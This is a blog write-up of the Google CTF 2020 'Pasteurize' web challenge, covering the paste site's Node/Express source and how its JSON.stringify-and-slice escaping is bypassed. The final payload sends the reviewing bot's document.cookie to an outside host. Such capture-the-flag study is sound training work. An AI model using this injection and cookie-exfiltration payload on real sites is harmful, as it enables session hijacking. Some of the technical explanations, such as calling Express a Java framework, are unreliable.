top of page
  • BlueDolphin

Google CTF 2020 Web Challenge - Pasteurize

Updated: Sep 12, 2020






This is a write up for Google's 2020 CTF Hacking challenge which remains opened and archived for the purposes of education and training. The previous Google Hacking challenges from 2019 and 2018 are also archived and still accessible, the links are included below.


Google CTF 2020

https://capturetheflag.withgoogle.com/


Google CTF 2019


Google CTF 2018


Disclaimer

I did not solve this challenge during the google CTF as I was out of town, but I caught the tail end and finished this challenge with some help from my team.


Challenge

 

The challenge Pasteurize is a web challenge and one of the easier challenges with only 260 team solves.



This doesn't look secure. I wouldn't put even the littlest secret in here. My source tells me that third parties might have implanted it with their little treats already. Can you prove me right?



Reviewing the evidence

 

We are initially provided a website with a form to create a new paste and submit this content. In this particular scenario it would be wise to check the source code first but I was excited to start testing payloads.


Dropping an html header TAG rendered formatted output.


The button to share with TJMike is very interesting so we click it and our post is supposedly shared with TJMike, which just screams XSS challenge.


I reviewed the page source and noticed dompurify was running in the front end. Well dompurify is so robust that our only option would be to find a zer0 day, which is not the goal of a CTF challenge so lets look around some more.




Home Source


Back on the home page I found two more clues. One of them was to do with fixing "XSS"


And a href tag pointing to a directory /source.



Visiting /source brought us to a paste of back end DB code. I went through the code very thoroughly and added comments along the way to help me better understand what is at hand.


From the Libraries imported we can denote the use of Java web framework that performs parsing, string representation, Recaptcha security, and holds a DataBase.


Looking at the code below, it also references a string sanitization function that is not using dom purify for the backend system. I have highlighted this code block in blue.

const express = require('express');
const bodyParser = require('body-parser');
const utils = require('./utils');
const Recaptcha = require('express-recaptcha').RecaptchaV3;
const uuidv4 = require('uuid').v4;
const Datastore = require('@google-cloud/datastore').Datastore;

/* Just reCAPTCHA stuff. */
const CAPTCHA_SITE_KEY = process.env.CAPTCHA_SITE_KEY || 'site-key';
const CAPTCHA_SECRET_KEY = process.env.CAPTCHA_SECRET_KEY || 'secret-key';
console.log("Captcha(%s, %s)", CAPTCHA_SECRET_KEY, CAPTCHA_SITE_KEY);
const recaptcha = new Recaptcha(CAPTCHA_SITE_KEY, CAPTCHA_SECRET_KEY, {
  'hl': 'en',
  callback: 'captcha_cb'
});

/* Choo Choo! */
const app = express();
app.set('view engine', 'ejs');
app.set('strict routing', true);
app.use(utils.domains_mw);
app.use('/static', express.static('static', {
  etag: true,
  maxAge: 300 * 1000,
}));

/* They say reCAPTCHA needs those. But does it? */
app.use(bodyParser.urlencoded({
  extended: true
}));

/* Just a datastore. I would be surprised if it's fragile. */
class Database {
  constructor() {
    this._db = new Datastore({
      namespace: 'littlethings'
    });
  }
  add_note(note_id, content) {
    const note = {
      note_id: note_id,
      owner: 'guest',
      content: content,
      public: 1,
      created: Date.now()
    }
    return this._db.save({
      key: this._db.key(['Note', note_id]),
      data: note,
      excludeFromIndexes: ['content']
    });
  }
  async get_note(note_id) {
    const key = this._db.key(['Note', note_id]);
    let note;
    try {
      note = await this._db.get(key);
    } catch (e) {
      console.error(e);
      return null;
    }
    if (!note || note.length < 1) {
      return null;
    }
    note = note[0];
    if (note === undefined || note.public !== 1) {
      return null;
    }
    return note;
  }
}

const DB = new Database();

/* Who wants a slice? */
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
  .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');

/* o/ */
app.get('/', (req, res) => {
  res.render('index');
});

/* \o/ [x] */
app.post('/', async (req, res) => {
  const note = req.body.content;
  if (!note) {
    return res.status(500).send("Nothing to add");
  }
  if (note.length > 2000) {
    res.status(500);
    return res.send("The note is too big");
  }

  const note_id = uuidv4();
  try {
    const result = await DB.add_note(note_id, note);
    if (!result) {
      res.status(500);
      console.error(result);
      return res.send("Something went wrong...");
    }
  } catch (err) {
    res.status(500);
    console.error(err);
    return res.send("Something went wrong...");
  }
  await utils.sleep(500);
  return res.redirect(`/${note_id}`);
});

/* Make sure to properly escape the note! */
app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => {
  const note_id = req.params.id;
  const note = await DB.get_note(note_id);

  if (note == null) {
    return res.status(404).send("Paste not found or access has been denied.");
  }

  const unsafe_content = note.content;
  const safe_content = escape_string(unsafe_content);

  res.render('note_public', {
    content: safe_content,
    id: note_id,
    captcha: res.recaptcha
  });
});

/* Share your pastes with TJMike🎤 */
app.post('/report/:id([a-f0-9\-]{36})', recaptcha.middleware.verify, (req, res) => {
  const id = req.params.id;

  /* No robots please! */
  if (req.recaptcha.error) {
    console.error(req.recaptcha.error);
    return res.redirect(`/${id}?msg=Something+wrong+with+Captcha+:(`);
  }

  /* Make TJMike visit the paste */
  utils.visit(id, req);

  res.redirect(`/${id}?msg=TJMike🎤+will+appreciate+your+paste+shortly.`);
});

/* This is my source I was telling you about! */
app.get('/source', (req, res) => {
  res.set("Content-type", "text/plain; charset=utf-8");
  res.sendFile(__filename);
});

/* Let it begin! */
const PORT = process.env.PORT || 8080;

app.listen(PORT, () => {
  console.log(`App listening on port ${PORT}`);
  console.log('Press Ctrl+C to quit.');
});

module.exports = app;

Who wants a slice?


/* Who wants a slice? */ const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1) .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');


This string escaping function is making it very clear it is unsafe by the silly usage of "Unsafe".

But lets look at exactly what it does;

  1. JSON.stringify is used on the post message, and escapes most illegal characters.

  2. It slices the first and last characters off the input with the slice 1, -1 command.

  3. < and > characters are replaced with \x3C and \x3E.

We can actually test this particular block of JS code locally by using node JS which is a framework to test code outside of the web browser.



I want to better understand what the slice function does, so lets try removing it.

Sure enough it simply just removes the first and last character of our string which certainly seems unsafe if this is what we rely on for string sanitization.




JSON.stringify()


/* Who wants a slice? */ const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1) .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');


Now that we can see what the slice function does and after spending a large amount of time trying to misuse the slice function I moved on to enumerating JSON.stringify() as it seemed like an odd choice given the fact that better options exist out there like the OWASP string sanitizer.


Heading over to w3 schools we learn that JSON stringify is used to convert a JS object to a string. So this is suggesting that our input is being taken as an object, converted to a string and then sliced.


I then try an example in their online compiler.


We can see that the double quotes are printed and this is our eureka moment as we can try entering { to denote our string as an object, so the "Who Wants a slice function" will interpret this string as an object instead of a string.


With the following input;

"content[]": "testtest"

We receive the following response and we can see that by specifying our string as an object with content[]: our string is past with double quotes at the end.


I saw double quotes at the end but did not really have any success and I took a step back.


Intercept


From here I decided to play around with passing strings as objects while intercepting the requests.


I utilized the firefox network element and noticed that requests come in the form of content=

The backend server is looking for content = and I tried a few things but did not get any positive results, so after a while I decided to go back to the drawing board.


Back to the drawing board


I after taking a step back and surveying my notes and topology of process and flow I decided to work on quote escaping back in node JS with the assumed vulnerable function "Who wants a slice".


When placing the input within [] this specifies an object and nothing is removed, only single quotes added.



I attempt to pass the first string that was copied to my clip board, to view the request with burp suite.



We can clearly see the content is encoded as per the code that specified URL encoding to strings. This is our chance to by pass string encoding by passing an object through, so no string is detected. The encoding is being done client side so if we send and intercept the request we can modify it after client side sanitization, but before it hits the back end server.





So we can see that our input is passed as an object and quotes are automatically added but not parsed out. The back end Slice sanitization identifies our input as an object adding those single quotes like it would for any content[] specifier.


Payload


Lets do a quick recap here


  • Front end input validation is totally secure with dompurify

  • JSON.stringify can pass objects as strings, and auto adds double "" to any object

  • We can intercept this request and send an mask our code as an onbject to bypass Stringify and the slice function.

  • From here we can inject payloads

After allot of trial and error I was sucessfull by calling into the DOM a new image with a reference to hook bin and a document cookie specifier. TJMike does not see whats coming and we get his cookie.

content[]= ;new Image().src='REDACTED?c='+document.cookie;

This gives us the response we are looking for.


That is our flag :)

1,129 views0 comments

Recent Posts

See All
bottom of page